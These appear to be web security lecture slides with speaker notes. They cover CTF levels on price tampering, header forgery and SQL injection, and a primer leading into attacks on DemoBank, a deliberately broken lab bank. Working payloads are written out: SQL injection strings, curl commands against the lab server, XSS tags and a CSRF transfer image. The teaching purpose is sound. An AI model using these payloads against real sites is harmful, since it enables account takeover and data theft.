A popular forum, phpBB, was hit in 2005. The visitor’s request, in spirit: GET /forum/admin/ Cookie: ...userid=2 (the admin)... The server treated the visitor as the admin. The cookie held the user ID next to an auto-login key. The admin’s ID, plus one trick that fooled the key check, made you the admin. It is CVE-2005-0614. phpBB 2.0.13 fixed it. A live-chat product was hit in 2008. The visitor’s request, in spirit: GET /... Cookie: admin=1 The server treated the visitor as the admin. Its CVE says visitors got admin access by setting the admin cookie to 1. That is level 5, almost word for word. It is CVE-2008-5783, in V3 Chat Live Support. Users never see their cookies, so developers forget that users can change them. Sources: Bugtraq, March 2005; the CVE records for CVE-2005-0614 and CVE-2008-5783.
Two real cases. In 2005, phpBB, one of the most popular forum packages, kept the user ID in a cookie; setting it to the admin’s ID, plus one trick, made you the admin. In 2008, a live-chat product gave admin access to anyone who set the admin cookie to 1, which is level five almost word for word. Users never see their cookies, so developers forget that users can change them.
[ 6] Level 6: A form becomes the body of a POST
Level 6 ! http://165.22.35.184:54330/level6 The level 6 flag $1,000 Buy item = flag price = 1000 The dashed fields are hidden: in the page, but not drawn. Clicking Buy turns every field into the body. POST /level6/buy HTTP/1.1 Content-Type: application/x-www-form-urlencoded item=flag&price=1000 Each field becomes name=value, and the pairs are joined by &. Visible or hidden, the browser sends what the page holds. The browser writes the body from the page, and you can edit the page.
How a form becomes a request. The store page shows the item and a Buy button. It also holds two hidden fields, item and price, in the page but not drawn. When you click Buy, the browser turns every field, visible or hidden, into name equals value, joined by ampersands, and puts them in the body of a POST request. The browser writes the body from the page, and you can edit the page.
[ 6] Level 6: The price came from your browser
Elements Console Sources Network Application <form method="POST" action="/level6/buy"> <input type="hidden" name="item" value="flag"> <input type="hidden" name="price" value="1"> <button>Buy</button> 1. Change 1000 to 1 in the Elements tab, then click Buy. 2. The store sold you the flag for $1. $ curl -s -d "item=flag&price=1" http://165.22.35.184:54330/level6/buy | grep flag{ flag{never_trust_the_client_********} Hidden fields are hidden from the eye, not from the user. The last eight characters of every flag are hidden on these slides.
The solution. In the Elements tab, change the hidden price from 1000 to 1, then click Buy. The store sells you the flag for a dollar. With curl, you write the body yourself. Hidden fields are hidden from the eye, not from the user.
[ 6] Level 6: The server must make every decision
The front end is your browser. The user controls all of it. The HTML and hidden fields. The JavaScript checks. Disabled buttons. The prices on the page. item=flag & price=1 Only data crosses. The server treats it as a wish. The back end is the server. Only this side is trusted. It looks up the price: $1,000. It checks the balance: $10. It decides: no sale. price = PRICES[form["item"]] The front end may ask. Only the back end decides. This rule is behind levels 4 to 8: the server must check everything the client sends.
The fix is one idea. The front end, your browser, is controlled by the user: the HTML and hidden fields, the JavaScript checks, disabled buttons, the prices on the page. Only data crosses to the server, and the server should treat it as a wish. The back end looks up the price itself, checks the balance itself, and decides. The front end may ask; only the back end decides.
[ 6] Level 6: In 2000, eleven carts trusted the price
On February 1, 2000, ISS X-Force reported eleven shopping-cart products with the level 6 bug. Cart32 2.6 CartIt 3.0 SalesCart SmartCart Shoptron 1.2 EasyCart Intellivend WebSiteTool @Retail Check It Out Make-a-Store The carts kept the price in a hidden field or in the URL, and stored whatever price the browser sent back. Some carts checked the Referer as security. The same alert notes that the Referer can be modified. That is level 7. These were products, so every store that installed one had the bug. Source: ISS X-Force alert, February 1, 2000. Ten of them have CVE entries, such as CVE-2000-0136.
Level six is a classic. On February 1, 2000, ISS X-Force reported eleven shopping-cart products that kept the price in a hidden field or the URL and stored whatever price the browser sent back. Some used a Referer check as their security, and the same alert notes the Referer can be modified; that is level seven. These were products, so every store that installed one had the bug.
[ 7] Level 7: The client writes every line of a request
This is a request, line by line. POST /level7/door HTTP/1.1 Host: 165.22.35.184:54330 User-Agent: Mozilla/5.0 (Macintosh) Chrome/130 Referer: http://.../level7/staff Cookie: ... The method and path come from the form or link. Host comes from the URL. User-Agent: the browser describes itself. Referer: the page you came from. Cookie: from the jar, as in level 5. A browser fills in every line for you. curl lets you write every line yourself. curl -X POST -A "anything" -e "anywhere" None of these lines is proof of anything. The client wrote all of them.
How a request is put together. The first line has the method and path, from the form or link you used. Host comes from the URL. User-Agent is the browser describing itself. Referer names the page you came from. Cookie comes from the jar. A browser fills in every line for you, so you never notice; curl lets you write every line yourself. None of these lines is proof of anything: the client wrote all of them.
[ 7] Level 7: The door told you what it wanted
This is you. This is the door. GET /level7/door This door opens only for POST requests. POST, User-Agent: Chrome This door opens only for the staff browser, W4181-Browser. POST, User-Agent: W4181-Browser This door opens only when you come from /level7/staff. POST, W4181-Browser, Referer: .../level7/staff You found the flag for level 7. The door checked three facts about you, and the client wrote all three. The method, the User-Agent, and the Referer are all lines of request text. The last eight characters of every flag are hidden on these slides.
The solution was a conversation. You opened the door with a GET, and it wanted POST. You sent POST from Chrome, and it wanted the staff browser. You set that User-Agent, and it wanted you to come from the staff page. You added that Referer, and it opened. The door checked three facts about you, and the client wrote all three.
[ 7] Level 7: One curl command writes it all
One curl command writes the whole request. $ curl -X POST -A "W4181-Browser" -e "http://.../level7/staff" http://.../level7/door POST /level7/door HTTP/1.1 Host: 165.22.35.184:54330 User-Agent: W4181-Browser Referer: http://.../level7/staff Accept: */* This is the request that curl sends. The browser route works too. In Chrome, set any User-Agent under More tools, Network conditions. Then the staff page sends POST and the right Referer by itself. Sites may use these headers for convenience, never to decide who may enter. The request forgery lecture shows two headers a web page cannot fake: Origin and Sec-Fetch-Site.
With curl, one command: dash X POST sets the method, dash A the User-Agent, dash e the Referer. The red lines in the request are the ones you chose. The browser route works too: Chrome can set any User-Agent, and the staff page then sends POST and the Referer by itself. Sites may use these headers for convenience, like statistics, but never to decide who may enter.
[ 7] Level 7: A router opened for a magic User-Agent
D-Link home routers had a backdoor in 2013. The admin page skipped the login when the User-Agent was exactly: xmlset_roodkcableoj28840ybtide Read it backwards: editby04882joelbackdoor It is CVE-2013-6026. D-Link shipped fixed firmware in December 2013. News paywalls let Google in, 2008 to 2017. Google told publishers to show full articles to its crawler, known by its User-Agent and IP address, and to readers whose Referer was Google. Readers pasted headlines into Google to get past the wall. The Wall Street Journal estimated nearly 1 million people a month did it. The router trusted a User-Agent, and the paywall trusted a Referer. Level 7 trusted both. Sources: CERT VU#248083; Google Search Central blog, 2008; Bloomberg, June 2017.
Two real cases. In 2013, D-Link routers skipped the admin login when the User-Agent was this exact string; read it backwards, edit by 04882 joel backdoor. And news paywalls let in Google’s crawler by User-Agent and readers arriving from Google by Referer; the Wall Street Journal estimated nearly a million people a month used that trick. The router trusted a User-Agent, the paywall trusted a Referer, and level seven trusted both.
[ 8] Level 8: The server glues your text into a query
Staff login ! http://165.22.35.184:54330/level8 Name alice Password ******** 1. You type a name and a password. q = "SELECT name FROM users WHERE name = '" + name + "' AND password = '" + pw + "'" 2. The server glues your text between quotes that it wrote. SELECT name FROM users WHERE name = ' alice ' AND password = ' hunter2 ' 3. The result is one piece of text, sent to the database. name password alice (secret) admin (secret) 4. The database runs it and returns a row. The site logs you in as that row. The programmer wrote the quotes. You wrote what goes between them. So what happens if your text contains a quote of its own?
How a login reaches the database. You type a name and a password. The server code glues your text between quotes that it wrote, building one piece of text, a SQL query. The database runs that text and returns a row, and the site logs you in as that row. The programmer wrote the quotes; you wrote what goes between them. So what happens if your text contains a quote of its own?
[ 8] Level 8: A quote ended the name early
You type this as the name, with any password: admin' -- The code glues it in: SELECT name FROM users WHERE name = ' admin' -- ' AND password = ' x ' The database reads it like this: SELECT name FROM users WHERE name = 'admin' Your quote closed the name. -- ' AND password = 'x' Two dashes start a comment. The database returned admin’s row, and the page showed the flag. Your text changed the shape of the query. That is SQL injection, the next lecture. The last eight characters of every flag are hidden on these slides.
The solution. Type admin, quote, dash dash as the name. The code glues it in. The database reads your quote as the end of the name, so the name is exactly admin, and the two dashes turn the password check into a comment. It returns admin’s row, and you get the flag. Your text changed the shape of the query. That is SQL injection, the whole next lecture.
[ 8] Level 8: Why ' OR '1'='1' gave you alice
Many of you tried the textbook payload ' OR '1'='1' --. It logged you in as alice. WHERE name = '' OR '1'='1' --' AND ... row name WHERE is 1 alice true 2 admin true One equals one is true for every row. row = db.execute(query).fetchone() # only the FIRST row if row and row[0] == "admin": show_the_flag() The code takes the first row, alice, and alice is not admin. Three answers that work, each for a different reason: admin' -- It picks the row by name and cuts off the password check. ' OR name='admin' -- It makes the condition true only for admin’s row. ' UNION SELECT 'admin' -- It makes the query return the word admin itself. Aim at the row you want. The next lecture is all about how. Typing a name such as O’Brien breaks this page with a database error. That is often how such bugs are first noticed.
Many of you tried quote OR one equals one and got alice. One equals one is true for every row, so both match, and the code takes only the first row, alice. You need to aim. Admin quote dash dash picks the row by name. Quote OR name equals admin makes the condition true only for admin. Quote UNION SELECT admin makes the query return the word admin itself. The next lecture is all about these moves.
[ +] Eight levels teach two sentences
W4181 web warm-up ! http://165.22.35.184:54330/level4 This is your browser. This is the server. This is its database. The request is text that your browser writes. GET /level4?role=student HTTP/1.1 User-Agent: Mozilla/5.0 ... Referer: .../level7/staff Cookie: user=guest item=flag&price=1000 4 7 7 5 6 The response is text that the server sends back. HTTP/1.1 200 OK X-Flag: flag{...} <html> ... <!-- a comment --> ... <script src="/level2/app.js"> 3 1 2 WHERE name = '...' 8 Levels 1 to 3: everything the server sends, the visitor can read. Levels 4 to 8: everything the client sends, the client chose.
The same picture once more. Levels one to three lived in the response: everything the server sends, the visitor can read. Levels four to eight lived in the request and behind it: everything the client sends, the client chose. The rest of this unit builds on exactly these two sentences.
[ >] Try every demo on your own copy of DemoBank
DemoBank ! http://165.22.35.184:54332/search DemoBank Search your transfers rent Search This is DemoBank, the bank we attack in this unit. 165.22.35.184:54332 Scan the code, or type the address. It opens at the login page. Getting in is your first attack. Your copy is private. Nothing you do reaches anyone else. You can always start over. The link at the top of every page gives you a fresh bank. Attack only DemoBank and our lab. Never try these attacks on a real site. Every attack in this unit runs on DemoBank. Keep your copy open as we go.
Before we start, open DemoBank on your laptop. It is the deliberately broken bank that every demo in this unit runs on, and now it runs on our class server. Scan the code or type the address, and you land on its login page. You do not know anyone’s password; getting in will be your first attack, in a few slides. Each of you gets a private copy: nothing you do reaches anyone else, so go ahead and break it, and if it gets into a strange state, the link at the top of every page gives you a fresh bank. One rule: attack only DemoBank and our lab, never a real site.
[ How the web works ]
What happens when you click Search on chase.com?
Every attack in this unit lives at one step of this trip.
The CTF showed you one request and one response. Now we follow a single click all the way: from your keyboard, across the network, through the server and its database, and back into your browser. Every attack in this unit lives at one step of this trip.
[ +] One click starts a chain of eight steps
This is your browser. This is the internet. This is chase.com’s server. SQL injection hits step 6. Cross-site scripting hits steps 7 and 8. Request forgery hits step 4. 1 You type a URL. 2 DNS finds the server. 3 TLS locks the channel. 4 The request goes out. 5 The code runs. 6 It asks the database. 7 The page comes back. 8 The browser runs it. Each attack hits one step of the chain. We learn each step right before its attack.
Here is the whole trip, step by step, and then where this unit’s three attacks hit it. One: you type a URL, or click a link. Two: DNS, the phone book of the internet, turns the name www.chase.com into an address. Three: TLS opens a private channel to the real chase.com; that was the last unit. Four: the browser sends the request, and it adds chase.com’s cookies by itself. Five: on the server, code runs. Six: the code asks the database. Seven: it fills a page template and sends the page back. Eight: your browser builds the page and runs its scripts, which often send more requests. The CTF lived in steps four and seven. Now the three attacks of this unit. SQL injection hits step six: your text becomes part of the database query. Cross-site scripting hits steps seven and eight: someone’s text becomes code inside a page other people load. Request forgery hits step four: another site makes your browser send a request, cookie included. We learn each step right before its attack.
[ +] We learn each step right before its attack
We learn each piece of the web right before the attack that needs it. 1 4 5 6 Your text travels to the database. Then comes SQL injection. First we learn how this part works. Then we study the attack and its race. 7 8 The page comes back to the browser. Then comes cross-site scripting. First we learn how this part works. Then we study the attack and its race. 4 A request starts on another site. Then comes request forgery. First we learn how this part works. Then we study the attack and its race. The blue numbers are steps of the chain. Each attack uses a few of them, so we learn those first.
Here is how we will go through this. We do not learn all of the web first. We learn each piece right before the attack that needs it. First, how your text travels to the database: steps one, four, five and six. Then SQL injection. Then, how the page comes back, with cookies and scripts: steps seven and eight. Then cross-site scripting. The content security policy introduces the origin rule in more detail. Finally, we return to requests that cross between sites, step four again, for request forgery, clickjacking, and CORS.
[ ?] Who is the attacker in this unit?
The attacker can do this. They own a website, evil.io, with a valid certificate. They can send any request they like, with curl. They can post comments, reviews, and profiles on chase.com. They can send you a link, or buy an ad you will see. The attacker cannot do this. They cannot read your network traffic. TLS stops that. They cannot log in to chase.com’s servers. They cannot read your other tabs directly. The browser stops that. The attacker is a website and a user, not a spy on the wire. That is the threat model for this unit.
Who is the attacker? In the TLS unit, the attacker sat on the network. Here the attacker is weaker on paper, and much more common. They own a website, evil.io, with a perfectly valid certificate. They can send any request with curl, post comments and reviews on chase.com, and send you a link or buy an ad. What they cannot do: read your traffic, because TLS stops that; log in to chase.com’s servers; or read your other tabs directly, because the browser stops that. The attacker is a website and a user, not a spy on the wire.
[ +] Injection has made every OWASP list since 2003
OWASP ranks the top risks for web apps. In its 2025 list, injection is number 5. Source: owasp.org/Top10/2025, CC BY 3.0. The chart shows where each attack ranked in every edition. #1 #2 #3 #4 #5 #6 #7 #8 #9 #10 2003 2004 2007 2010 2013 2017 2021 2025 This line is injection. This line is XSS. It joined injection in 2021. This line is request forgery. Injection has been on every OWASP Top 10 since the first one, in 2003. Request forgery dropped off once frameworks added a default defense. We will see that defense, and its bypasses.
Why these three attacks? OWASP is a nonprofit that ranks the most critical risks for web applications. In the 2025 edition, injection is number five. The chart shows every edition since the first, in 2003. Injection, in red, has been on every single list, and was number one from 2010 to 2017. Cross-site scripting, in purple, was on every list until 2021, when OWASP folded it into injection, because it is the same kind of mistake. Request forgery, in orange, was number five in 2007 and 2010 and number eight in 2013, then dropped off after frameworks added a default defense, which we will study, and bypass.
[ +] Every defense has a bypass, then a newer defense
The attacker moves here. The defender moves here. The attacker posts a comment that contains a script. Nice post! <script>steal()</script> The site deletes every script tag before it saves a comment. <script> -> (removed) The attacker runs code from an image tag instead. <img src=x onerror=steal()> The site turns every < into <, so it shows as text. <img ...> -> <img ...> The attacker finds one page where the site forgot. One missed spot is enough. The site tells the browser to run only scripts it approved. This is a content security policy. Every attack in this unit comes with a race like this one, and we follow each race step by step.
Here is a preview of how each attack will go, using cross-site scripting. The attacker posts a comment with a script tag. The site deletes script tags. The attacker uses an image tag whose error handler runs code. The site encodes every less-than sign so the browser shows it as text. The attacker finds the one page where a developer forgot. The site adds a policy telling the browser to run only approved scripts. Every attack in this unit comes with a race like this, and we will follow each race move by move.
[ +] First, you type a URL into the browser
This is your browser. This is the internet. This is chase.com’s server. SQL injection hits step 6. 1 You type a URL. 2 DNS finds the server. 3 TLS locks the channel. 4 The request goes out. 5 The code runs. 6 It asks the database. 7 The page comes back. 8 The browser runs it. Step 1: the URL names the site, and it can carry your input.
First stop: step one, the URL. It names the site you want, and it can already carry your input. This is the input side of SQL injection.
[ +] A URL names the site and carries your input
https:// www.chase.com :443 /search ?q=mortgage #results These three are the origin. The scheme, host, and port name the site. The port is usually hidden: https means port 443. The path picks a page on the site. It is the part right after the host. The query carries your input to the server. You edited it in CTF level 4. The fragment never leaves the browser. Scripts in the page can still read it. The origin is the site’s identity. The browser’s main security rule is built on it.
Here is the URL after you search for mortgage. The scheme, the host, and the port name the site; the port is usually hidden, and https means 443. Together these three are called the origin, and the browser’s main security rule, later today, is built on it. The path picks a page. The query carries your input to the server, exactly as in CTF level four. And the fragment, after the hash sign, never leaves the browser at all, but scripts in the page can read it; that detail comes back in cross-site scripting.
[ +] DNS turns the site’s name into an address
This is your browser. Where is www.chase.com? This is a DNS resolver. It works like a phone book. It is at 192.0.2.10. The server sits at 192.0.2.10. The browser connects to that address, and TLS checks the certificate. DNS finds an address. TLS verifies the site named in the URL.
We need only one DNS fact here. The browser asks a DNS resolver: where is www.chase.com? The answer is an address. The browser connects to that address, and TLS checks that the certificate belongs to the name in the URL. DNS locates the server and TLS checks its identity.
[ +] Special characters travel as %XX codes
A URL cannot carry some characters directly, so the browser writes them as %XX. Character. In a URL. " " %20 or + ' %27 " %22 < %3C > %3E & %26 # %23 This arrives at the server: ?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E The server decodes it before use. q = <script>alert(1)</script> A filter that looks for < in the raw URL never sees one. Every attack in this unit can arrive encoded. Defenses must look at the text after decoding.
One detail we need for every payload in this unit. A URL cannot carry spaces, quotes, angle brackets, or a few other characters directly, so the browser writes them as a percent sign and two hex digits: percent 27 is a quote, percent 3C opens a tag. The server decodes them before using the text. So an attack can arrive fully encoded, and a filter that looks for an angle bracket in the raw URL never sees one. Defenses must look at the text after decoding.
[ !] TLS locks the trip, and the attacks ride inside
This is your browser. This is the internet, locked by TLS. This is chase.com’s server. SQL injection hits step 6. Cross-site scripting hits steps 7 and 8. Request forgery hits step 4. 1 You type a URL. 2 DNS finds the server. 3 TLS locks the channel. 4 The request goes out. 5 The code runs. 6 It asks the database. 7 The page comes back. 8 The browser runs it. A stranger on the network sees only scrambled bytes. All three attacks travel inside real requests and pages, so TLS delivers them intact. TLS protects the trip. It does not look inside, so it delivers an attack as faithfully as a password.
Before the request goes out, steps two and three happen. DNS finds chase.com’s address, and TLS, the last unit, locks the channel. TLS encrypts everything in the middle zone: a stranger on the coffee-shop Wi-Fi sees only scrambled bytes. Now put this unit’s three attacks back on the loop, exactly where the map put them. Every one of them travels inside something TLS is happy to deliver. SQL injection rides in a real request. Cross-site scripting rides in a real page. Request forgery is a real request, sent by your own browser. TLS does not look inside; it delivers an attack as faithfully as a password.
[ +] Then your text leaves the browser as a request
1 2 3 4 5 6 7 8 We are at step 4: the request goes out. Alice types rent into DemoBank’s search box. DemoBank ! http://165.22.35.184:54332/search DemoBank Search your transfers rent Search Her browser writes this request: GET /search?q=rent HTTP/1.1 Host: 165.22.35.184:54332 Cookie: bank=7c1e...; sid=4b9a... Her word rides in the URL, right after ?q=. DemoBank’s server The server reads every line, and its code takes rent out of the URL. Step 4: what you type becomes a request that the server reads.
DNS found the server and TLS locked the channel. Now step four, and let me make it concrete on the DemoBank you just opened. Alice types rent into the search box and presses Search. Her browser writes a request: GET, the path slash search, and her word in the URL right after question mark q equals; plus the host, and the cookies that say who she is. The server reads every line of it, and its code takes rent out of the URL. Everything in this request was written by the browser, which means by whoever controls the browser. That is what SQL injection rides on.
[ +] Every line of the request comes from the client
POST /transfer?from=checking HTTP/1.1 Host: www.chase.com User-Agent: Mozilla/5.0 (Macintosh) Chrome/130 Referer: https://www.chase.com/transfer Cookie: session=8f3a9c71e24b... Content-Type: application/x-www-form-urlencoded to=bob&amount=50 4 This line holds the method, path, and query. 7 The browser describes itself. 7 This names the page you came from. 5 This is your login ticket. 6 These are the form fields. The circles are CTF levels. You edited each of these lines. The client wrote every line. The server must treat each one as a claim, never as a fact.
Here is a request to move fifty dollars to Bob, line by line, and you have already edited most of it. The first line holds the method, path, and query: CTF level four. User-Agent and Referer: level seven. The Cookie, your login ticket: level five. The form fields in the body: level six. The client wrote every line, and anyone can write a different one. So the server must treat each line as a claim, never as a fact.
[ ?] What are GET and POST?
A search form uses GET. <form method="GET" action="/search"> <input name="q"> </form> Your browser writes this request: GET /search?q=mortgage HTTP/1.1 Host: www.chase.com (no body) The data rides in the URL. A login form uses POST. <form method="POST" action="/login"> <input name="name"> <input name="pw"> </form> Your browser writes this request: POST /login HTTP/1.1 Host: www.chase.com name=alice&pw=hunter2 The data rides in the body. GET and POST are the two kinds of request you will see most. The form’s method decides which one is sent.
Two words you will see on every slide from now on: GET and POST. They are the first word of a request, the method. A search form uses GET: when you search, the browser puts your words into the URL, after the question mark, and the request has no body. A login form uses POST: the browser puts the fields into the body of the request, after the headers. The form’s method attribute decides which one is sent.
[ +] GET carries data in the URL, POST in the body
GET POST Where does the data ride? In the URL, after ? In the body Does it land in history and logs? Yes, the whole URL No, only the path What is it meant for? Reading something Changing something How do you send it with curl? curl ".../search?q=x" curl -d "pw=x" .../login For an attacker, both are just text the client writes. DemoBank’s search uses GET and its login uses POST. We inject into both. Never put secrets in a GET URL: history, logs, and the Referer header all keep a copy.
Here are the differences that matter. GET carries the data in the URL; POST carries it in the body. Because the URL lands in your history, in server logs, and in the Referer header of the next request, never put a password in a GET. GET is meant for reading, POST for changing something, though nothing forces a site to follow that rule. With curl, a GET is just the URL; a POST uses dash d. And for an attacker, both are text the client writes: DemoBank’s search uses GET and its login uses POST, and we inject into both.
[ ?] Why does GET still exist if POST can carry data?
A GET fits in one link. You can bookmark it, share it, and open it again later. A cache can keep a GET’s answer. The browser and the network reuse it, so pages load fast. Reloading a GET is harmless. Reloading a POST asks first, because it may pay twice. Search engines follow GET links. They never submit forms, so they never change anything. All four rely on one promise: a GET only reads. Anything that changes data must be a POST. Here is a careless bank that breaks the promise. Its transfer page is a GET. <img src="https://bank.example/transfer?to=mallory&amount=500"> Any page can hide this image. Your browser sends the GET with your cookie, and the money moves. This is request forgery, the last attack of this unit. A POST alone does not stop it either. POST hides data from history and logs, not from an attacker, who sends a POST with curl just as easily.
A fair question: POST can carry everything GET carries, and it keeps the data out of the URL. So why keep GET? Because a GET is a whole link. You can bookmark it, share it, and open it again. Browsers and caches can keep its answer and reuse it, which is a big part of why the web is fast. Reloading a GET is harmless, while reloading a POST makes the browser ask first, because it might pay a bill twice. And search engines follow GET links all day, but never submit forms. All four rely on one promise: a GET only reads, and anything that changes data must be a POST. When a site breaks that promise, any page can trigger the change with a hidden image tag, and your browser adds your cookie. That is request forgery, the last attack of this unit; and we will see that POST alone does not stop it either. Last point: POST is not more secure against an attacker. It hides data from history and logs, but the attacker writes the body with curl just as easily.
[ +] Then the server glues your text into SQL
This is your browser. This is the internet. This is chase.com’s server. SQL injection hits step 6. 1 You type a URL. 2 DNS finds the server. 3 TLS locks the channel. 4 The request goes out. 5 The code runs. 6 It asks the database. 7 The page comes back. 8 The browser runs it. Steps 5 and 6: the server’s code turns your text into a database query.
Next, inside the server: the code runs and asks the database. This is where your text meets SQL, and where SQL injection happens.
[ +] The server glues your text into two languages
The request arrives. GET /search?q= mortgage The code builds a database query. SELECT title FROM products WHERE title LIKE '% mortgage %' 1 This is crossing 1. The database returns the matching rows. Mortgage calculator. Mortgage rates. The code fills a page template. <p>Results for mortgage </p> 2 This is crossing 2. The page goes back to your browser. Results for mortgage Your word crossed into two other languages, SQL and HTML. Each crossing is one attack.
Here is the life of your search request inside chase.com. It arrives. The code builds a database query and glues your word, mortgage, into it: that is crossing number one, into SQL. The database returns matching rows. The code fills a page template, gluing your word in again: crossing number two, into HTML. The page goes back to your browser. Your text crossed into two other languages. Each crossing is one attack: SQL injection and cross-site scripting. We take crossing one first.
[ +] A database keeps data in tables
A database keeps data in tables. This one is called accounts. id name balance email 1 alice 1250 [email protected] 2 bob 8240 [email protected] 3 carol 310 [email protected] 4 dave 40 [email protected] Each column has a name and a type. Each row is one customer. Programs talk to the database in SQL, and they send it as plain text: db.execute(" SELECT balance FROM accounts WHERE name = 'alice' ") 1250 MySQL, PostgreSQL, SQLite, and Oracle are different products. They all speak SQL. The program writes SQL as text, and the database runs whatever text arrives.
A short database primer, in case you have not taken the database course. A database keeps data in tables. This one is called accounts: each column has a name and a type, and each row is one customer. Programs talk to the database in a language called SQL; MySQL, PostgreSQL, SQLite and Oracle are different products that all speak it. And here is the detail that matters: the program sends SQL as plain text, and the database runs whatever text arrives.
[ +] SELECT reads the rows that match WHERE
SELECT balance FROM accounts WHERE name = 'alice' id name balance 1 alice 1250 2 bob 8240 3 carol 310 4 dave 40 1250 Only Alice’s row matches. SELECT name FROM accounts WHERE balance > 1000 OR name = 'carol' id name balance 1 alice 1250 2 bob 8240 3 carol 310 4 dave 40 Alice and Bob match the first condition. Carol matches the second. One true side is enough for OR. WHERE decides which rows come back. Control the WHERE, and you control the answer.
The first word is SELECT. SELECT balance FROM accounts WHERE name equals alice: SELECT names the columns, FROM names the table, WHERE keeps only the rows that match. Only Alice’s row matches, so the answer is 1250. Conditions combine with AND and OR, as in Python or C: balance greater than a thousand OR name equals carol. Alice and Bob match the first part, Carol the second, and one true side is enough. WHERE decides which rows come back. Control the WHERE, and you control the answer.
[ +] Three more words change the table
INSERT INTO accounts VALUES (5, 'eve', 0, ...) A new row appears for Eve. UPDATE accounts SET balance = 750 WHERE name = 'alice' Alice’s balance changes. DELETE FROM accounts WHERE name = 'carol' Carol’s row disappears. DELETE FROM accounts There is no WHERE, so every row matches. id name balance 1 alice 1250 2 bob 8240 3 carol 310 4 dave 40 Every write is limited by its WHERE. An attacker who can rewrite the WHERE can reach every row.
Three more words and you know enough SQL for this unit. INSERT adds a row: Eve opens an account. UPDATE changes the rows that match its WHERE: Alice’s balance becomes 750. DELETE removes the rows that match: Carol closes her account. Every one is limited by its WHERE. So what if the WHERE disappears? DELETE FROM accounts, with nothing after it, matches every row, and the whole table is gone. An attacker who can rewrite the WHERE can reach every row.
[ !] Quotes are the only fence between data and code
SELECT * FROM users WHERE name = ' alice ' AND pw = ' hunter2 ' -- a note Blue is code. The database runs it. Purple quotes mark where data starts and ends. They are the only fence. Orange is data. The database compares it and never runs it. Two dashes start a comment. The database ignores the rest of the line. Only the quotes separate data from code. Whoever controls a quote controls the query.
Now look closely at one query, because this is the foundation of SQL injection. The blue text is code: the database runs it. The purple quotes mark where a piece of data starts and ends. The orange text between the quotes is data: the database compares it and never runs it. And two dashes start a comment: the database ignores the rest of the line. Only the quotes separate data from code. Whoever controls a quote controls the query.
[ ?] How does a login page ask the database?
login.py, the way a great many sites used to write it name = form["name"] pw = form["pw"] q = "SELECT name FROM users WHERE name = '" + name + "' AND password = '" + pw + "'" row = db.execute(q) if row: log_in(row) The double quotes " are Python syntax. They build the text, and they never reach the database. Alice types alice and hunter2. The code builds this text: SELECT name FROM users WHERE name = ' alice ' AND password = ' hunter2 ' Her row comes back. The programmer wrote the blue part, quotes included. Alice’s text sits between the quotes. Nothing checks what Alice’s text contains. It is glued straight into the code.
Now put the pieces together. Here is login code the way a great many sites used to write it: read the name and the password from the form, then build the query by gluing strings together. For Alice, it builds a perfectly normal query, and her row comes back. One thing that confuses people: the double quotes in the code are Python. They only build the text, and the database never sees them. The single quotes inside that text are SQL, and they are part of the query. Look at who wrote what. The programmer wrote the blue part, quotes included. Alice’s text sits between the quotes, and nothing checks what it contains.
[ Attack 1 of 3 ]
SQL injection turns input into code
The database runs the attacker’s text as part of its query. We break in, pull data out, and then follow the defenses and their bypasses.
Now the first of our three attacks: SQL injection. We take the login code we just read and ask four questions about it: what the bug is, what an attacker can do with it, how we stop it, and where else the same mistake lives.
[ +] We study SQL injection through four questions
1. What is the bug? One quote turns data into code. 2. What can the attacker do? Log in as anyone, and read every table. 3. How do we stop it? We follow each defense and its bypass. 4. Where else does it happen? It also breaks NoSQL, shells, and paths. We answer them in this order. Each question ends where the next one begins.
Here is the plan for this attack, as four questions. One: what exactly is the bug? Two: once a site has it, what can the attacker do? Log in as anyone, and read every table. Three: how do we stop it? We follow each defense real sites tried, and the bypass that beat it. Four: where else does the same mistake live? Spoiler: almost everywhere.
[ +] We attack DemoBank, a bank built to be broken
This is DemoBank’s login page. Each of you gets a private copy on our class server. It makes every classic mistake on purpose. Every screenshot and terminal you will see is real output. It stores passwords in plain text, so results are easy to read. Its login code is exactly the one we just read: SELECT name FROM users WHERE name = ' ... ' AND password = ' ... ' Scan this code for your own copy. 165.22.35.184:54332 Every attack in this unit runs against DemoBank for real, and you can repeat each one.
Before the first attack, meet our target. DemoBank is a tiny bank I wrote for this course. It runs on our class server, and each of you gets a private copy, so nothing you do reaches anyone else; scan the code or open the address. It makes every classic mistake on purpose, and every screenshot and terminal you will see is real output from it. It stores passwords in plain text, which no real site should do, just so you can read the results. And its login code is exactly the code we just read. Every attack in this unit runs against it for real, and you can repeat each one on your own copy.
? What happens if someone types ' OR '1'='1' -- as the name?
Write out the query the code builds. Then read it the way the database reads it: find where each quoted piece of data starts and ends.
[ x] One quote turns the name into code
The code glues the attacker’s text in, exactly as it glued Alice’s. SELECT name FROM users WHERE name = ' ' OR '1'='1' -- ' AND password = ' anything ' Now read it the way the database reads it. SELECT name FROM users WHERE name = '' The attacker’s first quote closes the data. The name is empty. OR '1'='1' This part is now code. One is always equal to one. -- ' AND password = 'anything' Two dashes turn the rest into a comment. The password check is gone. So the database runs this query: SELECT name FROM users WHERE name = '' OR '1'='1' The WHERE is true for every row, so every user comes back. The code sees that a row came back and logs the visitor in as the first user, who is Alice.
Let us do it slowly. The code glues the attacker’s text in exactly as it glued Alice’s. Now read the result the way the database does. The attacker’s first character is a quote, and it closes the data that the programmer opened, so the name is just an empty string. Then OR quote one equals quote one: that is not data any more, it is code, and one always equals one. Then two dashes, and the rest of the line, including the whole password check, is a comment. So the database runs: select name from users where name is empty OR one equals one. That is true for every row, so every user comes back, and the code, seeing a row, logs the visitor in as the first one, Alice.
[ +] The attacker changed the shape of the query
The programmer meant this tree. WHERE AND = = name data 1 password data 2 The user may fill the two orange leaves. Whatever goes in a leaf is compared, never run. The attacker’s text built this tree. WHERE OR = = name '' '1' '1' The password branch is gone, and a new branch that is always true took its place. This is the definition of SQL injection. User input changes the structure of the query, not just the values in it. The fix will have to keep the tree fixed, whatever the user types. Remember this picture. It explains which defenses work and which ones only seem to.
Here is the cleanest way to see what happened. The database parses a query into a tree. The programmer meant the tree on the left: WHERE name equals something AND password equals something, with two orange leaves the user may fill. Whatever goes into a leaf is compared and never run. The attacker’s text built a different tree: the name leaf is empty, the password branch is gone, and a new branch that is always true took its place. That is the definition of SQL injection: user input changes the structure of the query, not just the values in it. Keep this picture; it is how we will judge every defense. A real fix must keep the tree fixed, no matter what the user types.
[ x] The payload logs into DemoBank for real
